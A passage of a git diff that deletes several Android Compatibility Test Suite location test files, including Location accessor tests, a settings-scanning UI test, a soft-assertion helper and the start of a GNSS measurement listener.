-        assertEquals(0, distance, DELTA);
-
-        distance = zeroLocation.distanceTo(testLocation);
-        assertEquals(6244139.0, distance, 1);
-    }
-
-    public void testAccessAccuracy() {
-        Location location = new Location("");
-        assertFalse(location.hasAccuracy());
-
-        location.setAccuracy(1.0f);
-        assertEquals(1.0, location.getAccuracy(), DELTA);
-        assertTrue(location.hasAccuracy());
-
-        location.removeAccuracy();
-        assertEquals(0.0, location.getAccuracy(), DELTA);
-        assertFalse(location.hasAccuracy());
-    }
-
-    public void testAccessVerticalAccuracy() {
-        Location location = new Location("");
-        assertFalse(location.hasVerticalAccuracy());
-
-        location.setVerticalAccuracyMeters(1.0f);
-        assertEquals(1.0, location.getVerticalAccuracyMeters(), DELTA);
-        assertTrue(location.hasVerticalAccuracy());
-    }
-
-    public void testAccessSpeedAccuracy() {
-        Location location = new Location("");
-        assertFalse(location.hasSpeedAccuracy());
-
-        location.setSpeedAccuracyMetersPerSecond(1.0f);
-        assertEquals(1.0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
-        assertTrue(location.hasSpeedAccuracy());
-    }
-
-    public void testAccessBearingAccuracy() {
-        Location location = new Location("");
-        assertFalse(location.hasBearingAccuracy());
-
-        location.setBearingAccuracyDegrees(1.0f);
-        assertEquals(1.0, location.getBearingAccuracyDegrees(), DELTA);
-        assertTrue(location.hasBearingAccuracy());
-    }
-
-
-    public void testAccessAltitude() {
-        Location location = new Location("");
-        assertFalse(location.hasAltitude());
-
-        location.setAltitude(1.0);
-        assertEquals(1.0, location.getAltitude(), DELTA);
-        assertTrue(location.hasAltitude());
-
-        location.removeAltitude();
-        assertEquals(0.0, location.getAltitude(), DELTA);
-        assertFalse(location.hasAltitude());
-    }
-
-    public void testAccessBearing() {
-        Location location = new Location("");
-        assertFalse(location.hasBearing());
-
-        location.setBearing(1.0f);
-        assertEquals(1.0, location.getBearing(), DELTA);
-        assertTrue(location.hasBearing());
-
-        location.setBearing(371.0f);
-        assertEquals(11.0, location.getBearing(), DELTA);
-        assertTrue(location.hasBearing());
-
-        location.setBearing(-361.0f);
-        assertEquals(359.0, location.getBearing(), DELTA);
-        assertTrue(location.hasBearing());
-
-        location.removeBearing();
-        assertEquals(0.0, location.getBearing(), DELTA);
-        assertFalse(location.hasBearing());
-    }
-
-    public void testAccessExtras() {
-        Location location = createTestLocation();
-
-        assertTestBundle(location.getExtras());
-
-        location.setExtras(null);
-        assertNull(location.getExtras());
-    }
-
-    public void testAccessLatitude() {
-        Location location = new Location("");
-
-        location.setLatitude(0);
-        assertEquals(0, location.getLatitude(), DELTA);
-
-        location.setLatitude(90);
-        assertEquals(90, location.getLatitude(), DELTA);
-
-        location.setLatitude(-90);
-        assertEquals(-90, location.getLatitude(), DELTA);
-    }
-
-    public void testAccessLongitude() {
-        Location location = new Location("");
-
-        location.setLongitude(0);
-        assertEquals(0, location.getLongitude(), DELTA);
-
-        location.setLongitude(180);
-        assertEquals(180, location.getLongitude(), DELTA);
-
-        location.setLongitude(-180);
-        assertEquals(-180, location.getLongitude(), DELTA);
-    }
-
-    public void testAccessProvider() {
-        Location location = new Location("");
-
-        String provider = "Location Provider";
-        location.setProvider(provider);
-        assertEquals(provider, location.getProvider());
-
-        location.setProvider(null);
-        assertNull(location.getProvider());
-    }
-
-    public void testAccessSpeed() {
-        Location location = new Location("");
-        assertFalse(location.hasSpeed());
-
-        location.setSpeed(234.0045f);
-        assertEquals(234.0045, location.getSpeed(), DELTA);
-        assertTrue(location.hasSpeed());
-
-        location.removeSpeed();
-        assertEquals(0.0, location.getSpeed(), DELTA);
-        assertFalse(location.hasSpeed());
-    }
-
-    public void testAccessTime() {
-        Location location = new Location("");
-
-        location.setTime(0);
-        assertEquals(0, location.getTime());
-
-        location.setTime(Long.MAX_VALUE);
-        assertEquals(Long.MAX_VALUE, location.getTime());
-
-        location.setTime(12000);
-        assertEquals(12000, location.getTime());
-    }
-
-    public void testAccessElapsedRealtime() {
-        Location location = new Location("");
-
-        location.setElapsedRealtimeNanos(0);
-        assertEquals(0, location.getElapsedRealtimeNanos());
-
-        location.setElapsedRealtimeNanos(Long.MAX_VALUE);
-        assertEquals(Long.MAX_VALUE, location.getElapsedRealtimeNanos());
-
-        location.setElapsedRealtimeNanos(12000);
-        assertEquals(12000, location.getElapsedRealtimeNanos());
-    }
-
-    public void testAccessElapsedRealtimeUncertaintyNanos() {
-        Location location = new Location("");
-        assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
-        assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos());
-
-        location.setElapsedRealtimeUncertaintyNanos(12000.0);
-        assertEquals(12000.0, location.getElapsedRealtimeUncertaintyNanos());
-        assertTrue(location.hasElapsedRealtimeUncertaintyNanos());
-
-        location.reset();
-        assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
-        assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos());
-    }
-
-    public void testSet() {
-        Location location = new Location("");
-
-        Location loc = createTestLocation();
-
-        location.set(loc);
-        assertTestLocation(location);
-
-        location.reset();
-        assertNull(location.getProvider());
-        assertEquals(0, location.getTime());
-        assertEquals(0, location.getLatitude(), DELTA);
-        assertEquals(0, location.getLongitude(), DELTA);
-        assertEquals(0, location.getAltitude(), DELTA);
-        assertFalse(location.hasAltitude());
-        assertEquals(0, location.getSpeed(), DELTA);
-        assertFalse(location.hasSpeed());
-        assertEquals(0, location.getBearing(), DELTA);
-        assertFalse(location.hasBearing());
-        assertEquals(0, location.getAccuracy(), DELTA);
-        assertFalse(location.hasAccuracy());
-
-        assertEquals(0, location.getVerticalAccuracyMeters(), DELTA);
-        assertEquals(0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
-        assertEquals(0, location.getBearingAccuracyDegrees(), DELTA);
-
-        assertFalse(location.hasVerticalAccuracy());
-        assertFalse(location.hasSpeedAccuracy());
-        assertFalse(location.hasBearingAccuracy());
-
-        assertNull(location.getExtras());
-    }
-
-    public void testToString() {
-        Location location = createTestLocation();
-
-        assertNotNull(location.toString());
-    }
-
-    public void testWriteToParcel() {
-        Location location = createTestLocation();
-
-        Parcel parcel = Parcel.obtain();
-        location.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        Location newLocation = Location.CREATOR.createFromParcel(parcel);
-        assertTestLocation(newLocation);
-
-        parcel.recycle();
-    }
-
-    public void testSettingInjectorService() {
-        Context c = getContext();
-        SettingInjectorServiceDerived service = new SettingInjectorServiceDerived();
-
-        assertNotNull(c);
-
-        Intent intent =
-            new Intent(c, android.location.SettingInjectorService.class);
-
-        assertNotNull(c.getMainLooper());
-        SettingInjectorResultHandler resultHandler =
-            new SettingInjectorResultHandler(c.getMainLooper());
-
-        Messenger m = new Messenger(resultHandler);
-        intent.putExtra(MESSENGER_KEY, m);
-
-        int ret;
-        final long timeout = 500;
-
-        // should refuse binding
-        IBinder binder = service.callOnBind(intent);
-        assertNull("onBind should always fail.", binder);
-
-        // test if result consistent with the truth
-        // enabled == false case
-        service.setEnabled(false);
-        resultHandler.expectEnabled(false);
-        resultHandler.expectMessage(true);
-        ret = service.callOnStartCommand(intent, SettingInjectorService.START_NOT_STICKY, 0);
-        assertEquals("onStartCommand return value invalid in (enabled == false) case.",
-            ret, SettingInjectorService.START_NOT_STICKY);
-        assertTrue("Message time out in (enabled == false case).",
-            resultHandler.waitForMessage(timeout));
-
-        // enabled == true case
-        service.setEnabled(true);
-        assertTrue(service.onGetEnabled());
-        assertEquals("Summary", service.onGetSummary());
-        resultHandler.expectEnabled(true);
-        resultHandler.expectMessage(true);
-        ret = service.callOnStartCommand(intent, SettingInjectorService.START_NOT_STICKY, 0);
-        assertEquals("onStartCommand return value invalid in (enabled == true) case.",
-            ret, SettingInjectorService.START_NOT_STICKY);
-        assertTrue("Message time out in (enabled == true) case.",
-            resultHandler.waitForMessage(timeout));
-
-        // should not respond to the deprecated method
-        resultHandler.expectMessage(false);
-        service.callOnStart(intent, 0);
-        resultHandler.waitForMessage(timeout);
-    }
-
-    private void assertTestLocation(Location l) {
-        assertNotNull(l);
-        assertEquals(TEST_PROVIDER, l.getProvider());
-        assertEquals(TEST_ACCURACY, l.getAccuracy(), DELTA);
-        assertEquals(TEST_VERTICAL_ACCURACY, l.getVerticalAccuracyMeters(), DELTA);
-        assertEquals(TEST_SPEED_ACCURACY, l.getSpeedAccuracyMetersPerSecond(), DELTA);
-        assertEquals(TEST_BEARING_ACCURACY, l.getBearingAccuracyDegrees(), DELTA);
-        assertEquals(TEST_ALTITUDE, l.getAltitude(), DELTA);
-        assertEquals(TEST_LATITUDE, l.getLatitude(), DELTA);
-        assertEquals(TEST_BEARING, l.getBearing(), DELTA);
-        assertEquals(TEST_LONGITUDE, l.getLongitude(), DELTA);
-        assertEquals(TEST_SPEED, l.getSpeed(), DELTA);
-        assertEquals(TEST_TIME, l.getTime());
-        assertTestBundle(l.getExtras());
-    }
-
-    private Location createTestLocation() {
-        Location l = new Location(TEST_PROVIDER);
-        l.setAccuracy(TEST_ACCURACY);
-        l.setVerticalAccuracyMeters(TEST_VERTICAL_ACCURACY);
-        l.setSpeedAccuracyMetersPerSecond(TEST_SPEED_ACCURACY);
-        l.setBearingAccuracyDegrees(TEST_BEARING_ACCURACY);
-
-        l.setAltitude(TEST_ALTITUDE);
-        l.setLatitude(TEST_LATITUDE);
-        l.setBearing(TEST_BEARING);
-        l.setLongitude(TEST_LONGITUDE);
-        l.setSpeed(TEST_SPEED);
-        l.setTime(TEST_TIME);
-        Bundle bundle = new Bundle();
-        bundle.putBoolean(TEST_KEY1NAME, TEST_KEY1VALUE);
-        bundle.putByte(TEST_KEY2NAME, TEST_KEY2VALUE);
-        l.setExtras(bundle);
-
-        return l;
-    }
-
-    private void assertTestBundle(Bundle bundle) {
-        assertFalse(bundle.getBoolean(TEST_KEY1NAME));
-        assertEquals(TEST_KEY2VALUE, bundle.getByte(TEST_KEY2NAME));
-    }
-
-    private class SettingInjectorResultHandler extends Handler {
-        private boolean mEnabledShouldBe;
-        private boolean mExpectingMessage;
-        private boolean mMessageArrived;
-
-        SettingInjectorResultHandler(Looper l) {
-            super(l);
-        }
-
-        @Override
-        public void handleMessage(Message m) {
-
-            assertTrue("Unexpected message.", mExpectingMessage);
-
-            boolean enabled = m.getData().getBoolean(ENABLED_KEY);
-
-            assertEquals(String.format(
-                    "Message value (%s) inconsistent with service state (%s).",
-                    String.valueOf(enabled), String.valueOf(mEnabledShouldBe) ),
-                    mEnabledShouldBe, enabled);
-
-            synchronized (this) {
-                mMessageArrived = true;
-                notify();
-            }
-        }
-
-        public void expectEnabled(boolean enabled) {
-            mEnabledShouldBe = enabled;
-        }
-
-        public void expectMessage(boolean expecting) {
-            mMessageArrived = false;
-            mExpectingMessage = expecting;
-        }
-
-        public synchronized boolean waitForMessage(long millis) {
-            synchronized (this) {
-                try {
-                    wait(millis);
-                } catch (InterruptedException e) {
-                    e.printStackTrace();
-                }
-                return mMessageArrived;
-            }
-        }
-    }
-
-
-    private class SettingInjectorServiceDerived extends SettingInjectorService {
-
-        private boolean mEnabled;
-
-        SettingInjectorServiceDerived() {
-            super("SettingInjectorServiceDerived");
-            setEnabled(false);
-        }
-
-        @Override
-        // Deprecated API
-        protected String onGetSummary() {
-            return "Summary";
-        }
-
-        @Override
-        protected boolean onGetEnabled() {
-            return mEnabled;
-        }
-
-        public void setEnabled(boolean enabled) {
-            mEnabled = enabled;
-        }
-
-        // API coverage dashboard will not count method call from derived class.
-        // Thus, it is necessary to make explicit call to SettingInjectorService public methods.
-        public IBinder callOnBind(Intent intent) {
-            return super.onBind(intent);
-        }
-
-        public void callOnStart(Intent intent, int startId) {
-            super.onStart(intent, startId);
-        }
-
-        public int callOnStartCommand(Intent intent, int flags, int startId) {
-            return super.onStartCommand(intent, flags, startId);
-        }
-    }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/MmsPduProvider.java b/tests/tests/location/src/android/location/cts/MmsPduProvider.java
deleted file mode 100644
index 76d859e..0000000
--- a/tests/tests/location/src/android/location/cts/MmsPduProvider.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.ParcelFileDescriptor;
-import android.text.TextUtils;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-
-/**
- * A simple provider to send MMS PDU to platform MMS service
- */
-public class MmsPduProvider extends ContentProvider {
-    @Override
-    public boolean onCreate() {
-        return true;
-    }
-
-    @Override
-    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
-            String sortOrder) {
-        // Not supported
-        return null;
-    }
-
-    @Override
-    public String getType(Uri uri) {
-        // Not supported
-        return null;
-    }
-
-    @Override
-    public Uri insert(Uri uri, ContentValues values) {
-        // Not supported
-        return null;
-    }
-
-    @Override
-    public int delete(Uri uri, String selection, String[] selectionArgs) {
-        // Not supported
-        return 0;
-    }
-
-    @Override
-    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
-        // Not supported
-        return 0;
-    }
-
-    @Override
-    public ParcelFileDescriptor openFile(Uri uri, String fileMode) throws FileNotFoundException {
-        File file = new File(getContext().getCacheDir(), uri.getPath());
-        int mode = (TextUtils.equals(fileMode, "r") ? ParcelFileDescriptor.MODE_READ_ONLY :
-                ParcelFileDescriptor.MODE_WRITE_ONLY
-                        |ParcelFileDescriptor.MODE_TRUNCATE
-                        |ParcelFileDescriptor.MODE_CREATE);
-        return ParcelFileDescriptor.open(file, mode);
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/MultiConstellationNotSupportedException.java b/tests/tests/location/src/android/location/cts/MultiConstellationNotSupportedException.java
deleted file mode 100644
index 723e996..0000000
--- a/tests/tests/location/src/android/location/cts/MultiConstellationNotSupportedException.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.location.cts;
-
-/**
- * Exception that indicates an issue in the device that does not support Multi Constellation type.
- */
-public class MultiConstellationNotSupportedException extends Exception {
-    public MultiConstellationNotSupportedException(String format, Object... params) {
-        this(String.format(format, params));
-    }
-
-    public MultiConstellationNotSupportedException(String message) {
-        super(message);
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java b/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
deleted file mode 100644
index ea81089..0000000
--- a/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.res.Resources;
-import android.database.ContentObserver;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
-import android.test.AndroidTestCase;
-
-import com.android.compatibility.common.util.CddTest;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests if system settings app provides scanning settings.
- */
-@AppModeFull(reason = "Test cases don't apply for Instant apps")
-public class ScanningSettingsTest extends AndroidTestCase {
-    private static final String TAG = "ScanningSettingsTest";
-
-    private static final int TIMEOUT = 8_000;  // 8 seconds
-    private static final String SETTINGS_PACKAGE = "com.android.settings";
-
-    private static final String WIFI_SCANNING_TITLE_RES =
-            "location_scanning_wifi_always_scanning_title";
-    private static final String BLUETOOTH_SCANNING_TITLE_RES =
-            "location_scanning_bluetooth_always_scanning_title";
-
-    private UiDevice mDevice;
-    private Context mContext;
-    private String mLauncherPackage;
-    private PackageManager mPackageManager;
-
-    @Override
-    protected void setUp() {
-        mContext = InstrumentationRegistry.getInstrumentation().getContext();
-        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-
-        mPackageManager = mContext.getPackageManager();
-        final Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
-        launcherIntent.addCategory(Intent.CATEGORY_HOME);
-        mLauncherPackage = mPackageManager.resolveActivity(launcherIntent,
-                PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
-    }
-
-    @CddTest(requirement = "7.4.2/C-2-1")
-    public void testWifiScanningSettings() throws PackageManager.NameNotFoundException {
-        launchScanningSettings();
-        toggleSettingAndVerify(WIFI_SCANNING_TITLE_RES, Settings.Global.WIFI_SCAN_ALWAYS_AVAILABLE);
-    }
-
-    @CddTest(requirement = "7.4.3/C-4-1")
-    public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
-        launchScanningSettings();
-        toggleSettingAndVerify(BLUETOOTH_SCANNING_TITLE_RES,
-                Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE);
-    }
-
-    private void launchScanningSettings() {
-        // Start from the home screen
-        mDevice.pressHome();
-        mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-
-        final Intent intent = new Intent(Settings.ACTION_LOCATION_SCANNING_SETTINGS);
-        // Clear out any previous instances
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
-        mContext.startActivity(intent);
-
-        // Wait for the app to appear
-        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
-    }
-
-    private void clickAndWaitForSettingChange(UiObject2 pref, ContentResolver resolver,
-            String settingKey) {
-        final CountDownLatch latch = new CountDownLatch(1);
-        final HandlerThread handlerThread = new HandlerThread(TAG);
-        handlerThread.start();
-        final ContentObserver observer = new ContentObserver(
-                new Handler(handlerThread.getLooper())) {
-            @Override
-            public void onChange(boolean selfChange) {
-                super.onChange(selfChange);
-                latch.countDown();
-            }
-        };
-        resolver.registerContentObserver(Settings.Global.getUriFor(settingKey), false, observer);
-        pref.click();
-        try {
-            latch.await(TIMEOUT, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        }
-        handlerThread.quit();
-        resolver.unregisterContentObserver(observer);
-        assertEquals(0, latch.getCount());
-    }
-
-    private void toggleSettingAndVerify(String prefTitleRes, String settingKey)
-            throws PackageManager.NameNotFoundException {
-        final Resources res = mPackageManager.getResourcesForApplication(SETTINGS_PACKAGE);
-        final int resId = res.getIdentifier(prefTitleRes, "string", SETTINGS_PACKAGE);
-        final UiObject2 pref = mDevice.findObject(By.text(res.getString(resId)));
-        final ContentResolver resolver = mContext.getContentResolver();
-        final boolean checked = Settings.Global.getInt(resolver, settingKey, 0) == 1;
-
-        // Click the preference to toggle the setting.
-        clickAndWaitForSettingChange(pref, resolver, settingKey);
-        assertEquals(!checked, Settings.Global.getInt(resolver, settingKey, 0) == 1);
-
-        // Click the preference again to toggle the setting back.
-        clickAndWaitForSettingChange(pref, resolver, settingKey);
-        assertEquals(checked, Settings.Global.getInt(resolver, settingKey, 0) == 1);
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/SettingInjectorServiceTest.java b/tests/tests/location/src/android/location/cts/SettingInjectorServiceTest.java
deleted file mode 100644
index 75bc142..0000000
--- a/tests/tests/location/src/android/location/cts/SettingInjectorServiceTest.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.Context;
-import android.location.SettingInjectorService;
-import android.test.InstrumentationTestCase;
-
-/**
- * Test case for {@link SettingInjectorService}.
- */
-public class SettingInjectorServiceTest extends InstrumentationTestCase {
-    private Context mContext;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-    }
-
-    public void testRefreshSettings() {
-        // Simply calls the method to make sure it exists.
-        SettingInjectorService.refreshSettings(mContext);
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/SoftAssert.java b/tests/tests/location/src/android/location/cts/SoftAssert.java
deleted file mode 100644
index d118021..0000000
--- a/tests/tests/location/src/android/location/cts/SoftAssert.java
+++ /dev/null
@@ -1,190 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import junit.framework.Assert;
-
-import android.util.Log;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Custom Assertion class. This is useful for doing multiple validations together
- * without failing the test. Tests don’t stop running even if an assertion condition fails,
- * but the test itself is marked as a failed test to indicate the right result
- * at the end of the test.
- */
-public class SoftAssert {
-
-    List<String> mErrorList;
-    private String mTag;
-
-    SoftAssert(String source) {
-        mErrorList = new ArrayList<>();
-        mTag = source;
-    }
-
-    /**
-     * Check if condition is true
-     *
-     * @param message        test message
-     * @param eventTimeInNs  the time at which the condition occurred
-     * @param expectedResult expected value
-     * @param actualResult   actual value
-     * @param condition      condition for test
-     */
-    public void assertTrue(String message, Long eventTimeInNs, String expectedResult,
-                           String actualResult, boolean condition) {
-        if (condition) {
-            Log.i(mTag, message + ", (Test: PASS, actual : " +
-                    actualResult + ", expected: " + expectedResult + ")");
-        } else {
-            String errorMessage = "";
-            if (eventTimeInNs != null) {
-                errorMessage = "At time = " + eventTimeInNs + " ns, ";
-            }
-            errorMessage += message +
-                    " (Test: FAIL, actual :" + actualResult + ", " +
-                    "expected: " + expectedResult + ")";
-            Log.e(mTag, errorMessage);
-            mErrorList.add(errorMessage);
-        }
-    }
-
-    /**
-     * assertTrue without eventTime
-     *
-     * @param message        test message
-     * @param expectedResult expected value
-     * @param actualResult   actual value
-     * @param condition      condition for test
-     */
-    public void assertTrue(String message, String expectedResult,
-        String actualResult, boolean condition) {
-        assertTrue(message, null, expectedResult, actualResult, condition);
-    }
-
-    /**
-     * Check if a condition is true.
-     * NOTE: A failure is downgraded to a warning.
-     *
-     * @param message        the message associated with the condition
-     * @param eventTimeInNs  the time at which the condition occurred
-     * @param expectedResult the expected result of the condition
-     * @param actualResult   the actual result of the condition
-     * @param condition      the condition status
-     */
-    public void assertTrueAsWarning(
-            String message,
-            long eventTimeInNs,
-            String expectedResult,
-            String actualResult,
-            boolean condition) {
-        if (condition) {
-            String formattedMessage = String.format(
-                    "%s, (Test: PASS, actual : %s, expected : %s)",
-                    message,
-                    actualResult,
-                    expectedResult);
-            Log.i(mTag, formattedMessage);
-        } else {
-            String formattedMessage = String.format(
-                    "At time = %d ns, %s (Test: WARNING, actual : %s, expected : %s).",
-                    eventTimeInNs,
-                    message,
-                    actualResult,
-                    expectedResult);
-            failAsWarning(mTag, formattedMessage);
-        }
-    }
-
-    /**
-     * Check if condition is true
-     *
-     * @param message   test message
-     * @param condition condition for test
-     */
-    public void assertTrue(String message, boolean condition) {
-        assertOrWarnTrue(true, message, condition);
-    }
-
-    /**
-     * Check if condition is true
-     *
-     * @param strict      if true, add this to the failure list, else, log a warning message
-     * @param message     message to describe the test - output on pass or fail
-     * @param condition   condition for test
-     */
-    public void assertOrWarnTrue(boolean strict, String message, boolean condition) {
-        if (condition) {
-            Log.i(mTag, "(Test: PASS) " + message);
-        } else {
-            String errorMessage = "(Test: FAIL) " + message;
-            Log.i(mTag, errorMessage);
-            if (strict) {
-                mErrorList.add(errorMessage);
-            } else {
-                failAsWarning(mTag, errorMessage);
-            }
-        }
-    }
-
-    /**
-     * Assert all conditions together. This method collates all the failures and decides
-     * whether to fail the test or not at the end. This must be called at the end of the test.
-     */
-    public void assertAll() {
-        if (mErrorList.isEmpty()) {
-            Log.i(mTag, "All test pass.");
-            // Test pass if there are no error message in errorMessageSet
-            Assert.assertTrue(true);
-        } else {
-            StringBuilder message = new StringBuilder();
-            for (String msg : mErrorList) {
-                message.append(msg + "\n");
-            }
-            Log.e(mTag, "Failing tests are: \n" + message);
-            Assert.fail("Failing tests are: \n" + message);
-        }
-    }
-
-    /**
-     * A hard or soft failure, depending on the setting.
-     * TODO - make this cleaner - e.g. refactor this out completely: get rid of static methods,
-     * and make a class (say TestVerification) the only entry point for verifications,
-     * so strict vs not can be abstracted away test implementations.
-     */
-    public static void failOrWarning(boolean testIsStrict, String message, boolean condition) {
-        if (testIsStrict) {
-            Assert.assertTrue(message, condition);
-        } else {
-            if (!condition) {
-                failAsWarning("", message);
-            }
-        }
-    }
-
-    /**
-     * A soft failure. In the current state of the tests, it will only log a warning and let the
-     * test be reported as 'pass'.
-     */
-    public static void failAsWarning(String tag, String message) {
-        Log.w(tag, message + " [NOTE: in a future release this feature might become mandatory, and"
-                + " this warning will fail the test].");
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java b/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java
deleted file mode 100644
index 962ef8b..0000000
--- a/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java
+++ /dev/null
@@ -1,187 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.location.cts;
-
-import android.location.GnssClock;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.util.Log;
-
-import junit.framework.Assert;
-
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-
-/**
- * Used for receiving GPS satellite measurements from the GPS engine.
- * Each measurement contains raw and computed data identifying a satellite.
- * Only counts measurement events with more than one actual Measurement in them (not just clock)
- */
-class TestGnssMeasurementListener extends GnssMeasurementsEvent.Callback {
-    // When filterByEventSize flag is true, we only keep the GnssMeasurementsEvents that have at
-    // least 4 decoded GnssMeasurement in same constellation.
-    private boolean filterByEventSize = false;
-    // Timeout in sec for count down latch wait
-    private static final int STATUS_TIMEOUT_IN_SEC = 10;
-    private static final int MEAS_TIMEOUT_IN_SEC = 75;
-    private static final int C_TO_N0_THRESHOLD_DB_HZ = 18;
-    private volatile int mStatus = -1;
-
-    private final String mTag;
-    private final List<GnssMeasurementsEvent> mMeasurementsEvents;
-    private final CountDownLatch mCountDownLatch;
-    private final CountDownLatch mCountDownLatchStatus;
-
-    /**
-    * Constructor for TestGnssMeasurementListener
-    * @param tag for Logging.
-    */
-    TestGnssMeasurementListener(String tag) {
-        this(tag, 0, false);
-    }
-
-    /**
-    * Constructor for TestGnssMeasurementListener
-    * @param tag for Logging.
-    * @param eventsToCollect wait until the number of events collected.
-    */
-    TestGnssMeasurementListener(String tag, int eventsToCollect) {
-        this(tag, eventsToCollect, false);
-    }
-
-    /**
-    * Constructor for TestGnssMeasurementListener
-    * @param tag for Logging.
-    * @param eventsToCollect wait until the number of events collected.
-    * @param filterByEventSize whether filter the GnssMeasurementsEvents when we collect them.
-    */
-    TestGnssMeasurementListener(String tag, int eventsToCollect, boolean filterByEventSize) {
-        mTag = tag;
-        mCountDownLatch = new CountDownLatch(eventsToCollect);
-        mCountDownLatchStatus = new CountDownLatch(1);
-        mMeasurementsEvents = new ArrayList<>(eventsToCollect);
-        this.filterByEventSize = filterByEventSize;
-    }
-
-    @Override
-    public void onGnssMeasurementsReceived(GnssMeasurementsEvent event) {
-        // Only count measurement events with more than 4 actual Measurements in same constellation
